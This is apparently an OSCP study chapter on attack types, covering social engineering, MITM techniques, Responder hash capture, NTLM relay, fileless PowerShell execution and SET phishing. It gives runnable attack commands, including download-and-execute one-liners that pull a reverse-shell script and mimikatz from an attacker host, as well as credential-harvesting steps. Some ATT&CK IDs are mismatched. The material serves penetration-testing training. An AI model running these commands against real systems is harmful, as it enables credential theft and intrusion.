Urgency Need to act quickly “Your account expires in 1 hour”
Fear Avoid negative consequences “Your account has been compromised”
Curiosity Desire to know “You won’t believe what I found”
Greed Desire for gain “You’ve won $1,000,000”
Authority Obey those in power “This is a directive from management”
Social proof Follow what others do “Everyone in your department has done this”
Reciprocity Return favors “I helped you, now help me”
Liking Comply with people we like Build rapport before the ask

4.3 Social Engineering in OSCP Context

Relevance Level Area Details
Low Direct social engineering OSCP doesn’t test phone calls or physical access
Medium Client-side attacks Crafting convincing malicious documents
Medium Email exploitation Accessing email for reconnaissance
High Understanding attack chains SE is often the first step in real-world scenarios
High Report writing Documenting social engineering findings professionally

While OSCP doesn’t directly test social engineering, understanding it helps you think like an attacker and write better reports that explain the human element of vulnerabilities.


5. Man-in-the-Middle (MITM) Attacks

MITM attacks intercept and potentially modify communication between two parties. This is one of the most important topics for OSCP, especially in Active Directory environments.

5.1 MITM Attack Taxonomy

mindmap
  root((MITM Attacks))
    ARP Poisoning
      ARP Cache Poisoning
      ARP Grind
    DNS Spoofing
      DNS Cache Poisoning
      DNS Tunneling
    SSL Stripping
      Downgrade HTTPS to HTTP
      Remove security indicators
    LLMNR Poisoning
      Responder
      Inveigh
    NBT-NS Poisoning
      NetBIOS Name Service
      Responder
    DHCP Starvation
      Exhaust DHCP pool
      Assign rogue gateway
    Rogue DHCP
      Fake DHCP server
      Redirect traffic
    ICMP Redirect
      Route traffic through attacker

5.2 ARP Poisoning (Detailed Walkthrough)

ARP (Address Resolution Protocol) maps IP addresses to MAC addresses. ARP has no authentication mechanism, making it vulnerable to poisoning.

How ARP Works (Normal)

sequenceDiagram
    participant A as Host A (192.168.1.10)
    participant N as Network (Broadcast)
    participant B as Host B (192.168.1.20)

    A->>N: ARP Request: "Who has 192.168.1.20?"
    N->>B: Broadcast to all
    B->>A: ARP Reply: "I have 192.168.1.20, MAC: AA:BB:CC:DD:EE:FF"
    A->>A: Update ARP cache: 192.168.1.20 → AA:BB:CC:DD:EE:FF
    A->>B: Send data (frame to AA:BB:CC:DD:EE:FF)

How ARP Poisoning Works

sequenceDiagram
    participant A as Host A (192.168.1.10)
    participant M as Attacker (192.168.1.50)
    participant G as Gateway (192.168.1.1)

    M->>A: Fake ARP Reply: "Gateway 192.168.1.1 is at MAC: MM:MM:MM:MM:MM:MM"
    M->>G: Fake ARP Reply: "Host A 192.168.1.10 is at MAC: MM:MM:MM:MM:MM:MM"
    A->>M: Send data to "gateway" (actually to attacker)
    M->>M: Capture/modify traffic
    M->>G: Forward to real gateway (stay invisible)
    G->>M: Response from internet
    M->>M: Capture/modify response
    M->>A: Forward to real host A

ARP Poisoning with Ettercap

# Step 1: Start ettercap in unified sniffing mode
ettercap -T -q -i eth0 -M arp:remote /192.168.1.10/ // /192.168.1.1/

# Flags:
# -T      Text-only interface
# -q      Quiet mode
# -i eth0 Interface to use
# -M arp:remote  ARP poisoning mode (remote = don't poison ARP for attacker's IP)
# /192.168.1.10/ Target (victim)
# //      Separator
# /192.168.1.1/ Target (gateway)

# Step 2: Enable IP forwarding (to stay invisible)
echo 1 > /proc/sys/net/ipv4/ip_forward

# Step 3: Use plugins for credential capture
# Load url_forge plugin to redirect HTTP to fake login page
# Load dns_spoof plugin to redirect domain names

ARP Poisoning with BetterCAP

# Step 1: Start BetterCAP
bettercap -iface eth0

# Step 2: From the BetterCAP console
# Discover all hosts
net.probe on

# Show discovered hosts
net.show

# Start ARP poisoning between target and gateway
arp.spoof on
set arp.spoof.targets 192.168.1.10,192.168.1.20

# Capture HTTP credentials
http.proxy on
http.proxy.sslstrip on

# DNS spoofing
set dns.spoof always
dns.spoof on

# Bypass SSL pinning (for older implementations)
set sslstrip bypass-verify true

Detection and Prevention

Control Description
Dynamic ARP Inspection (DAI) Switch validates ARP packets against DHCP binding table
ARP monitoring Tools like arpwatch detect ARP changes
Static ARP entries Manually configure critical ARP mappings
Port security Limit MAC addresses per switch port
802.1X Network access control with authentication

5.3 DNS Spoofing

DNS Spoofing (DNS cache poisoning) corrupts the DNS resolver’s cache to redirect victims to malicious servers.

Attack Flow

sequenceDiagram
    participant V as Victim
    participant R as DNS Resolver
    participant A as Attacker
    participant M as Malicious Server

    V->>R: DNS Query: "www.bank.com"
    A->>R: Fake DNS Response: "www.bank.com = 10.0.0.99"
    Note over R: Attacker's response arrives first (race condition)
    R->>R: Cache poisoned: www.bank.com → 10.0.0.99
    R-->>V: DNS Response: 10.0.0.99
    V->>M: HTTP request to "www.bank.com" (actually malicious server)
    M->>V: Serve fake banking site

DNS Spoofing with BetterCAP

# In BetterCAP console
set dns.spoof always
dns.spoof on

# Or specify specific domains
set dns.spoof.domains "www.bank.com,www.email.com"

5.4 SSL Stripping

SSL Stripping (by SSLstrip tool) downgrades HTTPS connections to HTTP by acting as a transparent proxy.

Attack Flow

sequenceDiagram
    participant V as Victim
    participant A as Attacker (SSLstrip)
    participant S as Legitimate Server

    V->>A: HTTP request (initial page, no HTTPS in URL bar)
    A->>S: Forward request
    S-->>A: Response with links to https:// pages
    A->>A: Rewrite all HTTPS links to HTTP
    A-->>V: Response with HTTP links only
    V->>A: Click "login" link (now HTTP)
    A->>A: Capture credentials in plaintext
    A->>S: Forward to real server

SSLstrip Command

# Start SSLstrip
sslstrip -l 8080 -w captured.log

# Combine with ARP poisoning:
# 1. ARP poison victim to route through attacker
# 2. SSLstrip intercepts and downgrades HTTPS to HTTP
# 3. Victim enters credentials on HTTP page
# 4. Attacker captures plaintext credentials

Why SSL Stripping is Less Effective Now

Protection Description
HSTS (HTTP Strict Transport Security) Browser remembers to always use HTTPS
HTTPS Everywhere Browser extension forces HTTPS
Auto-upgrade Modern browsers auto-upgrade to HTTPS
Certificate pinning App verifies specific certificate

5.5 LLMNR/NBT-NS Poisoning — Responder Detailed Walkthrough

This is HIGHLY relevant to OSCP Active Directory labs.

What is LLMNR?

Link-Local Multicast Name Resolution (LLMNR) is a Microsoft protocol that allows hosts on the same local network to perform name resolution for each other. When a host cannot resolve a name via DNS, it broadcasts an LLMNR query.

What is NBT-NS?

NetBIOS Name Service (NBT-NS) is an older protocol for name resolution on Windows networks. It operates on UDP port 137.

Why These Are Vulnerable

Protocol Issue Exploitation
LLMNR No authentication for responses Any host can respond to any query
NBT-NS No authentication for responses Any host can respond to any query
mDNS No authentication (on Windows) Same as LLMNR

The Attack Flow

sequenceDiagram
    participant V as Victim (192.168.1.10)
    participant N as Network (Broadcast)
    participant A as Attacker (192.168.1.50)
    participant R as Responder

    V->>V: User tries to access \\nonexistent-share\
    V->>V: DNS resolution fails
    V->>N: LLMNR Query: "Who has nonexistent-share?"
    Note over N: Broadcast on 224.0.0.252:5355
    R->>V: LLMNR Response: "I am nonexistent-share! IP: 192.168.1.50"
    V->>A: SMB Connection to 192.168.1.50
    A->>A: Capture NTLMv2 hash
    Note over A: Hash can be cracked offline or relayed

Responder Setup and Usage

# Install Responder
git clone https://github.com/lgandx/Responder.git
cd Responder
pip install -r requirements.txt

# Basic usage — listen on all interfaces
python3 Responder.py -I eth0

# Target specific interface and protocols
python3 Responder.py -I eth0 -wR -P

# Flags:
# -I eth0    Interface to listen on
# -w          Enable NBT-NS poisoning (default: on)
# -R          Enable LLMNR poisoning (default: on)
# -P          Enable MS-FTP poisoning
# -A          Answer only to unknown IPs (unknown only mode)
# -b 1        Background mode (1=yes, 0=no)

# Output location:
# Responder/loot/ — captured hashes stored here
# Format: username::domain:ntlmv2_hash

Responder Output Example

[*] Listening on LexStream on UDP port 1434
[*] Listening on MSSQL on TCP port 1434
[*] Listening on UDP-SRBSnap on UDP port 1434
[*] Listening on UDP-SRBSnap on UDP port 1900
[*] Listening on SSDP on UDP port 1900
[*] Listening on UPnP on TCP port 1900
[*] Listening on DNS on UDP port 53
[*] Listening on DNS on TCP port 53
[*] Listening on LLMNR on UDP port 5355
[*] Listening on NBT on UDP port 137
[*] Listening on NBT on UDP port 138

[+] LLmNR        : NTLMv2 Client   : 192.168.1.10
[+] LLmNR        : NTLMv2 Username : jsmith
[+] LLmNR        : NTLMv2 Hash     : jsmith::CORP:192.168.1.50:12345:abcdef...

Cracking Captured NTLMv2 Hashes

# Using Hashcat
hashcat -m 5600 ntlmv2_hashes.txt rockyou.txt -O

# Using John the Ripper
john --format=netntlmv2 ntlmv2_hashes.txt --wordlist=rockyou.txt

Inveigh (Alternative to Responder)

# Inveigh is a PowerShell-based LLMNR/NBT-NS poisoner
# Run on Windows target or from attacker machine with PowerShell

Import-Module Inveigh.ps1
Inveigh

# Options:
# Inveigh -ComputerName attacker -DNSResponse answer -ConsoleOutput true
# Inveigh -AuthCapture true -Relay true -RelayHost 192.168.1.100

OSCP AD Lab Application

LLMNR/NBT-NS poisoning is one of the most reliable techniques for capturing hashes in OSCP AD labs:

# Typical OSCP AD lab workflow:

# 1. Get initial foothold on a workstation
# 2. Start Responder to capture hashes from other machines
python3 Responder.py -I tun0

# 3. Wait for other machines to broadcast LLMNR queries
#    (They will when users try to access non-existent resources)

# 4. If no queries come, trigger them:
#    - Access non-existent SMB shares from the compromised machine
#    - Use nmap to trigger responses
#    - Access \\randomname\share from the victim

# 5. Capture the hash
# 6. Crack with hashcat or relay with ntlmrelayx

Triggering LLMNR Responses Manually

# From a compromised Windows machine, trigger LLMNR queries
# This causes the machine to broadcast LLMNR requests

# Method 1: Access non-existent share
net use \\nonexistent-server\share

# Method 2: PowerShell
Test-Connection -ComputerName nonexistent-server -Count 1

# Method 3: WMI
Get-WmiObject -ComputerName nonexistent-server Win32_OperatingSystem

NTLM Relay with Captured Hashes

# Instead of cracking, relay the hash to another service
# Using Impacket's ntlmrelayx

python3 ntlmrelayx.py -t ldap://DC_IP --escalate-user captured_username

# This relays the captured NTLM authentication to LDAP
# and can escalate the user to Domain Admin (if conditions met)

5.6 DHCP Starvation and Rogue DHCP

DHCP Starvation

sequenceDiagram
    participant A as Attacker
    participant D as DHCP Server
    participant V as Victim

    loop Starvation Phase
        A->>D: DHCP Discover (spoofed MAC 1)
        A->>D: DHCP Discover (spoofed MAC 2)
        A->>D: DHCP Discover (spoofed MAC 3)
        A->>D: ... (thousands more)
    end

    Note over D: IP address pool EXHAUSTED

    V->>D: DHCP Discover (legitimate request)
    D-->>V: No addresses available
    Note over V: Victim cannot get IP address

Rogue DHCP Server

After starving the legitimate DHCP, the attacker provides a rogue DHCP response with a malicious gateway.

# Using yersinia
yersinia -i eth0

# Select: DHCP Starvation Attack
# Then: Rogue DHCP Server
# Configure: Gateway = attacker's IP

5.7 MITM Comparison and OSCP Relevance

Attack Type OSCP Relevance AD Lab Use Difficulty Detection
ARP Poisoning Medium Useful for credential capture Easy ARP monitoring
DNS Spoofing Low-Medium Limited use Easy DNS monitoring
SSL Stripping Low Rarely effective now Medium HSTS, browser warnings
LLMNR Poisoning Very High Primary hash capture method Easy LLMNR disabled
NBT-NS Poisoning High Secondary hash capture Easy NBT-NS disabled
DHCP Starvation Low Rarely needed Medium DHCP monitoring

Key Takeaway: LLMNR/NBT-NS poisoning with Responder is arguably the single most important MITM technique for OSCP AD labs. Master this technique.


6. OSCP Exam Relevance Matrix

6.1 Attack Type Priority for OSCP

Attack Type Exam Frequency Priority Focus Level
LLMNR/NBT-NS Poisoning Very High 🔴 Critical Master Responder, hash cracking, relay
Fileless Malware / PowerShell Very High 🔴 Critical Master PowerShell execution, LOLBins
ARP Poisoning Medium 🟠 Important Understand concept, basic ettercap/BetterCAP
Trojan / Backdoor Concepts High 🔴 Critical Reverse shells, web shells, persistence
Worm Concepts (MS17-010) High 🔴 Critical EternalBlue is a common OSCP exploit
Phishing (SET) Medium 🟠 Important Client-side attacks, credential harvesting
Ransomware Concepts Low 🟡 Know Understand encryption, lateral movement
Rootkit Concepts Low 🟡 Know Understand hiding, detection
DoS/DDoS Very Low ⚪ Skip Theory only, never perform in exam
Social Engineering Low 🟡 Know Understanding for report writing
Botnet Concepts Very Low ⚪ Skip Theory only
Spyware Concepts Low 🟡 Know Understanding credential theft

6.2 MITM Attacks in AD Environments

Technique When to Use Expected Result
Responder After initial foothold on any AD machine Capture NTLMv2 hashes from other machines
Inveigh When on a Windows machine in the AD network Same as Responder, PowerShell-based
NTLM Relay When SMB signing is disabled Relay hash to gain higher privileges
ARP Poisoning On flat networks without AD Capture unencrypted credentials
Metasploit auxiliary/server/capture When you control a service Capture credentials from connecting clients

6.3 Malware Analysis Basics for OSCP

While OSCP doesn’t require deep malware analysis, you should understand:

Skill Why It Matters
Identify malicious files Recognize suspicious executables during enumeration
Analyze PowerShell scripts Read and understand encoded commands
Check running processes Identify suspicious processes during enumeration
Understand persistence Recognize how malware maintains access (registry, scheduled tasks)
Basic PE analysis Understand executable structure (optional but helpful)
# Quick malware analysis commands on Windows

# Check running processes
Get-Process | Sort-Object CPU -Descending | Select-Object -First 10

# Check startup programs
Get-CimInstance Win32_StartupCommand

# Check scheduled tasks
Get-ScheduledTask | Where-Object {$_.State -eq 'Ready'}

# Check registry run keys
Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
Get-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"

# Check network connections
Get-NetTCPConnection -State Established | Select-Object LocalAddress, LocalPort, RemoteAddress, RemotePort, OwningProcess

# Check loaded modules in a process
Get-Process -Id <PID> | Select-Object -ExpandProperty Modules

6.4 What to Focus On vs. What to Skim

Focus On (Deep Study) Skim (General Knowledge)
Responder + LLMNR/NBT-NS poisoning DoS/DDoS attack mechanics
PowerShell fileless execution Botnet C2 architectures
Reverse shells and backdoors Ransomware encryption details
MS17-010 (EternalBlue) exploit Rootkit kernel internals
SET phishing modules Vishing/Smishing techniques
NTLM relay attacks DHCP starvation mechanics
Credential capture techniques Social engineering psychology
ARP poisoning concepts Watering hole attack planning

7. Practical Examples and Commands

7.1 Responder Attack Commands

# ============================================
# Responder — LLMNR/NBT-NS Poisoning
# ============================================

# Basic usage
python3 Responder.py -I eth0

# OSCP lab usage (tunnel interface)
python3 Responder.py -I tun0

# Aggressive mode — answer all queries
python3 Responder.py -I tun0 -A

# Quiet mode for background operation
python3 Responder.py -I tun0 -b 1

# Disable specific protocols if needed
python3 Responder.py -I tun0 -F    # Disable FTP
python3 Responder.py -I tun0 -W    # Disable Wi-Fi

# View captured hashes
cat Responder/loot/JTR_Compatible_NTLmv2_Captures.txt
cat Responder/loot/Hashcat_Compatible_NTLmv2_Captures.txt

7.2 ARP Poisoning Commands

# ============================================
# Ettercap — ARP Poisoning
# ============================================

# Text mode, poison between victim and gateway
ettercap -T -q -i eth0 -M arp:remote /192.168.1.10/ // /192.168.1.1/

# Enable IP forwarding (stay invisible)
echo 1 > /proc/sys/net/ipv4/ip_forward

# ============================================
# BetterCAP — ARP Poisoning
# ============================================

# Start BetterCAP
bettercap -iface eth0

# In console:
net.probe on
arp.spoof on
set arp.spoof.targets 192.168.1.10
http.proxy on
http.proxy.sslstrip on

7.3 PowerShell Fileless Malware Examples

# ============================================
# PowerShell — Fileless Execution Techniques
# ============================================

# Download and execute (no file on disk)
powershell -NoP -NonI -W Hidden -Exec Bypass -Command "IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.1/Invoke-PowerShellTcpOneLine.ps1')"

# Base64 encoded command execution
$command = 'IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.1/shell.ps1")'
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encoded = [Convert]::ToBase64String($bytes)
powershell -EncodedCommand $encoded

# Download file using certutil (LOLBin)
certutil -urlcache -split -f http://10.10.14.1/mimikatz.exe mimikatz.exe

# Download file using bitsadmin (LOLBin)
bitsadmin /transfer mydownload http://10.10.14.1/tool.exe C:\temp\tool.exe

# Execute via mshta (LOLBin)
mshta vbscript:CreateObject("WScript.Shell").Run("powershell -NoP -NonI -Exec Bypass -File C:\temp\shell.ps1",0,true)(window.close)

# WMI remote execution
wmic /node:TARGET process call create "powershell -NoP -NonI -W Hidden -Exec Bypass -enc <base64>"

# Remote PowerShell (WinRM)
Invoke-Command -ComputerName TARGET -ScriptBlock {
    IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.1/payload.ps1')
}

7.4 Social-Engineer Toolkit Usage

# ============================================
# SET — Social-Engineer Toolkit
# ============================================

# Launch SET
setoolkit

# === Credential Harvester Attack ===
# 1) Social-Engineering Attacks
# 2) Website Attack Vectors
# 1) Credential Harvester Attack Method
# 1) Site Cloner
# Enter URL to clone (e.g., http://mail.company.com)
# SET clones the site and serves it locally
# Credentials are logged to set/reports/

# === Tabnabbing Attack ===
# 1) Social-Engineering Attacks
# 2) Website Attack Vectors
# 2) Tabnabbing Attack Method
# Enter URL to clone
# When victim switches tabs, original tab is replaced

# === Java Applet Attack ===
# 1) Social-Engineering Attacks
# 2) Website Attack Vectors
# 3) Credential Proxy Attack Method
# Acts as a proxy, captures credentials in transit

# === Mass Mailer Attack ===
# 1) Social-Engineering Attacks
# 4) Mass Mailer Attack
# Send phishing emails in bulk

# === Infectious Media Generator ===
# 1) Social-Engineering Attacks
# 3) Infectious Media Generator
# 1) Automatic USB Infectious Media (all files)
# Creates USB drive that auto-infects

7.5 Metasploit MITM Modules

# ============================================
# Metasploit — MITM and Capture Modules
# ============================================

# SMB capture
use auxiliary/server/capture/smb
set SRVHOST 0.0.0.0
run

# HTTP capture (fake login page)
use auxiliary/server/capture/http
set SRVHOST 0.0.0.0
set URIPATH /
run

# Multi-capture (multiple protocols)
use auxiliary/server/capture/multi
set SRVHOST 0.0.0.0
run

# LLMNR/NBT-NS responder
use auxiliary/server/llmnr_poison
set SRVHOST 0.0.0.0
run

# ARP sweep and poison
use post/multi/recon/local_exploit_suggester
# Or use auxiliary modules for network attacks

8. Lab Exercises

8.1 MITM Lab: LLMNR Poisoning and Hash Capture

Objective: Capture NTLMv2 hashes using Responder in a lab environment.

Prerequisites:

  • Kali Linux or Parrot OS
  • Target Windows machine on the same network
  • Responder installed

Steps:

# Step 1: Verify network connectivity
ip addr show tun0    # or eth0
ping -c 3 192.168.X.X

# Step 2: Start Responder
python3 Responder.py -I tun0

# Step 3: On the Windows target, trigger LLMNR queries
# Method A: From compromised Windows machine
net use \\nonexistent\share

# Method B: Use nmap to trigger
nmap -sn 192.168.1.0/24

# Method C: Access non-existent resources
# In Windows Run dialog: \\randomname\c$

# Step 4: Observe captured hashes in Responder output
# Step 5: Copy hash to Hashcat format
# Step 6: Crack the hash
hashcat -m 5600 captured_hash.txt /usr/share/wordlists/rockyou.txt -O

Expected Results:

  • NTLMv2 hash captured within minutes
  • Hash cracked if password is in wordlist
  • Understanding of LLMNR protocol behavior

8.2 Malware Analysis Basics Lab

Objective: Analyze a suspicious file and identify its behavior.

Prerequisites:

  • Windows VM (isolated)
  • Suspicious executable (from a safe source like malshare.com)
  • Process Monitor, Process Explorer

Steps:

# Step 1: Check file basics
Get-Item C:\path\suspicious.exe | Select-Object Name, Length, LastWriteTime
Get-Hash C:\path\suspicious.exe -Algorithm SHA256

# Step 2: Check file signature
Get-AuthenticodeSignature C:\path\suspicious.exe

# Step 3: Run in controlled environment with monitoring
# Start Process Monitor before execution
# Filter for the suspicious process

# Step 4: Analyze behavior
# - Files created/modified
# - Registry changes
# - Network connections
# - Child processes spawned

# Step 5: Check persistence mechanisms
Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
Get-ScheduledTask | Where-Object {$_.State -eq 'Ready'}

8.3 Phishing Simulation Lab

Objective: Create and analyze a phishing simulation using SET.

Prerequisites:

  • Kali Linux
  • SET installed
  • Target machine on same network

Steps:

# Step 1: Launch SET
setoolkit

# Step 2: Select Credential Harvester
# 1 > 2 > 1 > 1

# Step 3: Enter target URL to clone
# e.g., http://outlook.office365.com

# Step 4: Note the IP and port SET provides
# e.g., http://192.168.1.50:8080

# Step 5: On target machine, navigate to the SET URL
# Enter fake credentials

# Step 6: Check captured credentials
cat set/reports/*.txt

# Step 7: Analyze the cloned site
# Check what data was captured
# Review the HTML modifications SET made

Expected Results:

  • Understanding of credential harvesting
  • Knowledge of how phishing sites are created
  • Ability to identify phishing indicators

9. Key Tools Reference

9.1 Tool Comparison Table

Tool Primary Use Protocol Support Platform OSCP Relevance
Responder LLMNR/NBT-NS/mDNS poisoning LLMNR, NBT-NS, mDNS, MDNS, FTP, MSSQL Linux, macOS 🔴 Critical
Inveigh LLMNR/NBT-NS poisoning LLMNR, NBT-NS, mDNS Windows (PowerShell) 🟠 Important
BetterCAP Network MITM framework ARP, DNS, HTTP, HTTPS, WiFi Linux, macOS, BSD 🟠 Important
Ettercap ARP poisoning, MITM ARP, HTTP, various protocols Linux 🟡 Know
SET Social engineering attacks HTTP, email, USB Linux 🟠 Important
gophish Phishing campaign platform HTTP, email Cross-platform 🟡 Know
SSLstrip SSL/TLS downgrade HTTP/HTTPS Linux 🟡 Know
Wireshark Packet analysis All protocols Cross-platform 🔴 Critical
ntlmrelayx NTLM relay attacks SMB, LDAP, HTTP, WMI Linux (Impacket) 🔴 Critical
hashcat Hash cracking 350+ hash types Cross-platform 🔴 Critical

9.2 Responder Configuration

# Responder/Responder.conf — Key settings for OSCP

[Responder Core]
Challenge = random          # Use random NTLM challenge
SMB_Server = On             # Enable SMB server
HTTP_Server = On            # Enable HTTP server
HTTPS_Server = On           # Enable HTTPS server
WPAD_Server = On            # Enable WPAD server
Poisoning_Sessions = On     # Track poisoning sessions

[LLMNR]
Answer_to_LLmNR = On        # Respond to LLMNR queries
Analyze_LLmNR = On            # Analyze LLMNR traffic
Use_nic_speed = On

[NBTNS]
Answer_to_NBTNS = On        # Respond to NBT-NS queries
Analyse_NBTNS = On

[MDNS]
Answer_to_mDNS = On         # Respond to mDNS queries (Windows 10+)

9.3 BetterCAP Configuration

# BetterCAP default configuration for MITM

# Network discovery
net.probe on

# ARP spoofing
arp.spoof on
arp.spoof.targets 192.168.1.10,192.168.1.20

# HTTP proxy (credential capture)
http.proxy on
http.proxy.port 8080
http.proxy.sslstrip on

# DNS spoofing
dns.spoof on
dns.spoof.domains "example.com"

# SSL stripping
sslstrip on
sslstrip.bypass-verify true

# Logging
logs.folder ./bettercap-logs
logs.files on

10. Exam Tips

10.1 Recognizing Attack Opportunities

Scenario Attack Opportunity Tool/Technique
You have a shell on a Windows AD workstation Capture hashes from other machines Responder on attacker machine
SMB signing is disabled on the network Relay NTLM authentication ntlmrelayx.py
You find a web application with file upload Deploy web shell (Trojan backdoor) Upload PHP/ASPX shell
Target has WinRM enabled PowerShell remote execution Invoke-Command, Enter-PSSession
You find credentials in a config file Lateral movement via PsExec/WMI psexec.py, wmiexec.py
Target machine has no AV Deploy any tool freely Mimikatz, PowerView, etc.
You see LLMNR queries in Wireshark Someone is trying to reach non-existent hosts Start Responder immediately
You find an Office document Check for macros (fileless malware vector) strings, olemem, manual inspection

10.2 MITM Attack Decision Tree

flowchart TD
    A[You have network access] --> B{AD Environment?}
    B -->|Yes| C{On same subnet?}
    B -->|No| D[Focus on other attack vectors]

    C -->|Yes| E[Start Responder]
    C -->|No| F[Can you pivot to same subnet?]

    E --> G{Hashes captured?}
    G -->|Yes| H[Crack with hashcat]
    G -->|No| I[Trigger LLMNR queries]

    I --> J{Still no hashes?}
    J -->|No| H
    J -->|Yes| K[Try NTLM relay]

    K --> L{SMB signing disabled?}
    L -->|Yes| M[ntlmrelayx to LDAP/SMB]
    L -->|No| N[Focus on other techniques]

    F -->|Yes| E
    F -->|No| D

    style E fill:#E8F5E9,stroke:#2E7D32
    style H fill:#E8F5E9,stroke:#2E7D32
    style M fill:#E8F5E9,stroke:#2E7D32

10.3 Common Exam Mistakes to Avoid

Mistake Consequence Prevention
Running DoS during exam Immediate flag, possible disqualification Never perform DoS attacks
Forgetting to enable IP forwarding Network disruption, detection Always echo 1 > /proc/sys/net/ipv4/ip_forward
Not checking SMB signing Wasted time on relay attacks Check with crackmapexec smb first
Using Responder on wrong interface No captures Verify interface with ip addr
Not saving captured hashes Lost progress Copy hashes immediately to a file
Running Responder too early May miss initial queries Start after establishing foothold
Ignoring fileless techniques Missed exploitation paths Always check PowerShell, WMI, WinRM

10.4 Quick Exam Checklist for MITM

□ Responder installed and configured
□ Correct interface identified (tun0, eth0, etc.)
□ IP forwarding enabled (for ARP poisoning)
□ Hashcat ready with wordlists
□ ntlmrelayx.py available
□ SMB signing status checked
□ LLMNR/NBT-NS not disabled on targets
□ Wireshark available for traffic analysis
□ Backup plan if MITM doesn't work

11. Cross-References

Topic File Connection
Active Directory: Introduction and Enumeration ../17-ad-intro-enumeration/chapter.md LLMNR/NBT-NS poisoning targets AD environments; AD enumeration feeds MITM attacks
Attacking Active Directory Authentication ../18-ad-authentication/chapter.md Captured NTLM hashes feed into Kerberoasting, AS-REP Roasting, and Pass-the-Hash attacks
Password Attacks ../12-password-attacks/chapter.md NTLMv2 hashes captured via MITM are cracked using hashcat/John techniques covered there
AV Evasion ../11-av-evasion/chapter.md Fileless malware techniques overlap with AV evasion strategies
Client-Side Attacks ../08-client-side-attacks/chapter.md Phishing and malicious documents are client-side attack vectors
Network Security Fundamentals ./06-network-security-fundamentals.md ARP, DNS, and DHCP concepts are foundational to MITM attacks
Cryptography Basics ./07-cryptography-basics.md Ransomware encryption, NTLM hash structure, and SSL stripping rely on crypto concepts
Information Gathering ../03-information-gathering/chapter.md OSINT for spear phishing; network reconnaissance for MITM targeting

11.2 MITRE ATT&CK Mapping

Attack Type ATT&CK Tactic ATT&CK Technique ID
LLMNR Poisoning Credential Access LLMNR/NBT-NS Poisoning T1557.001
NTLM Relay Credential Access NTLM Relay T1558.003
ARP Poisoning Collection Network Sniffing T1040
SSL Stripping Collection Network Sniffing T1040
Phishing Initial Access Spearphishing Attachment T1566.001
Spear Phishing Initial Access Spearphishing Link T1566.002
Malicious Document Execution User Execution T1204
PowerShell Abuse Execution PowerShell T1059.001
WMI Abuse Execution Signed Script Proxy Execution T1216
Fileless Malware Defense Evasion Masquerading T1036
Rootkit Defense Evasion Rootkit T1014
Ransomware Impact Data Encrypted for Impact T1486
Botnet Command and Control Application Layer Protocol T1071
Social Engineering Initial Access Human Compromise T1598
SYN Flood Impact Network Denial of Service T1498

11.3 Tools Cross-Reference

Tool Covered In Also Relevant For
Responder This topic AD Authentication attacks, Password Attacks
hashcat This topic Password Attacks (primary coverage)
ntlmrelayx This topic AD Authentication attacks
SET This topic Client-Side Attacks
Wireshark This topic Information Gathering, Network Security
BetterCAP This topic Network Security
PowerShell This topic AV Evasion, Windows Privilege Escalation
Metasploit This topic Metasploit module, Exploit Location

Summary

This topic covers the full spectrum of common attack types, from malware and phishing to MITM attacks and social engineering. For OSCP preparation:

  1. Master LLMNR/NBT-NS poisoning with Responder — this is your most reliable hash capture technique in AD labs.
  2. Understand fileless malware techniques — PowerShell, WMI, and LOLBins are essential for Windows post-exploitation.
  3. Know Trojan/backdoor concepts — reverse shells and web shells are your primary access mechanisms.
  4. Understand phishing mechanics — relevant for client-side attacks and SET usage.
  5. Skip DoS attacks during the exam — focus on exploitation and access, not disruption.
  6. Practice MITM labs — hands-on experience with Responder, BetterCAP, and NTLM relay is invaluable.

The attack types covered here form the foundation for understanding how real-world adversaries operate and how to think like an attacker during the OSCP exam.